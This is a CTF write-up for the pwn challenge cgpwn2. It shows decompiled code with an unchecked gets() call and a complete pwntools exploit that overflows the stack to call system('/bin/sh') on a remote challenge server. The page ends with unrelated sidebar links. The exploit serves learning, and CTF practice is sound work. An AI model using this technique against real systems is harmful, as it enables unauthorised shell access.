当前位置:网站首页>PWN attack and defense world cgpwn2
PWN attack and defense world cgpwn2
2022-07-02 00:00:00 【Day-3】

First , View the relevant contents of the file .
Throw in IDA View code in .
main function
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
hello();
puts("thank you");
return 0;
}
hello function
char *hello()
{
__int16 *p_s; // eax
char v1; // bl
unsigned int v2; // ecx
__int16 *v3; // eax
__int16 s; // [esp+12h] [ebp-26h] BYREF
int v6; // [esp+14h] [ebp-24h] BYREF
p_s = &s;
v1 = 30;
if ( ((unsigned __int8)&s & 2) != 0 )
{
s = 0;
p_s = (__int16 *)&v6;
v1 = 28;
}
v2 = 0;
do
{
*(_DWORD *)&p_s[v2 / 2] = 0;
v2 += 4;
}
while ( v2 < (v1 & 0x1Cu) );
v3 = &p_s[v2 / 2];
if ( (v1 & 2) != 0 )
*v3 = 0;
puts("please tell me your name");
fgets(name, 50, stdin);
puts("hello,you can leave some message here:");
return gets((char *)&s);
}
We can do it in name String left in “/bin/sh”, Then stack overflow , obtain shell.

To write exp:
from pwn import *
context(os='Linux',arch="x86",log_level="debug")
bin_sh_addr = 0x0804A080
elf = ELF('cgpwn2')
system_addr = elf.plt["system"]
content = 0
def main():
global day3
if content == 1:
day3 = process("cgpwn2")
else:
day3 =remote("111.200.241.244",64520)
payload = b'a' * (0x26 + 4) + p32(system_addr) + b'aaaa'
payload = payload + p32(bin_sh_addr)
day3.recvuntil("please tell me your name\n")
day3.sendline("/bin/sh")
day3.recvuntil("hello,you can leave some message here:\n")
day3.sendline(payload)
day3.interactive()
main()
Finally get Flag.
边栏推荐
- Using SqlCommand objects in code
- 启牛学院开户安全的吗?开户怎么开?
- ADO. Net SqlCommand object
- PyCharm调用matplotlib绘图时图像弹出问题怎么解决
- Asp .NetCore 微信订阅号自动回复之文本篇
- LeetCode中等题题分享(5)
- [QT] test whether QT can connect to the database
- cookie、session、tooken
- Which securities company is the best to open a stock account? Is there a security guarantee
- 在证券账户上买基金安全吗?哪里可以买基金
猜你喜欢

Selectively inhibiting learning bias for active sampling
![Jielizhi, production line assembly link [chapter]](/img/1d/d1736fad33c428e61f450aad512ce0.png)
Jielizhi, production line assembly link [chapter]

LDR6035智能蓝牙音响可对手机设备持续充放电方案

UDS bootloader of s32kxxx bootloader

Using uni simple router, dynamically pass parameters typeerror: cannot convert undefined or null to object

牛客-练习赛101-推理小丑
![Jielizhi, production line assembly link [chapter]](/img/f8/20c41ffe9468d59bf25ea49f73751e.png)
Jielizhi, production line assembly link [chapter]

LDR6035智能蓝牙音响可充可放(5.9.12.15.20V)快充快放设备充电

Material design component - use bottomsheet to show extended content (I)

使用 pair 做 unordered_map 的键值
随机推荐
mysql:insert ignore、insert和replace区别
2021 robocom world robot developer competition - preliminary competition of higher vocational group
LDR6035智能蓝牙音响可充可放(5.9.12.15.20V)快充快放设备充电
[QT] solve the problem that QT MSVC 2017 cannot compile
Openvino model performance evaluation tool DL workbench
Jielizhi Bluetooth headset quality control and production skills [chapter]
Shell custom function
Similarities and differences between the defined identity execution function authid determiner and PostgreSQL in Oracle
Graduation season is both a farewell and a new beginning
Material design component - use bottomsheet to show extended content (I)
sql 优化
使用uni-simple-router,动态传参 TypeError: Cannot convert undefined or null to object
【QT】QtCreator卸载与安装(非正常状态)
使用VB.net将PNG图片转成icon类型图标文件
Windows 7 install MySQL error: 1067
[must] bm41 output the right view of the binary tree [medium +]
Asp .NetCore 微信订阅号自动回复之文本篇
Door level modeling - after class exercises
ADO. Net SqlConnection object usage summary
JPA handwritten SQL, received with user-defined entity classes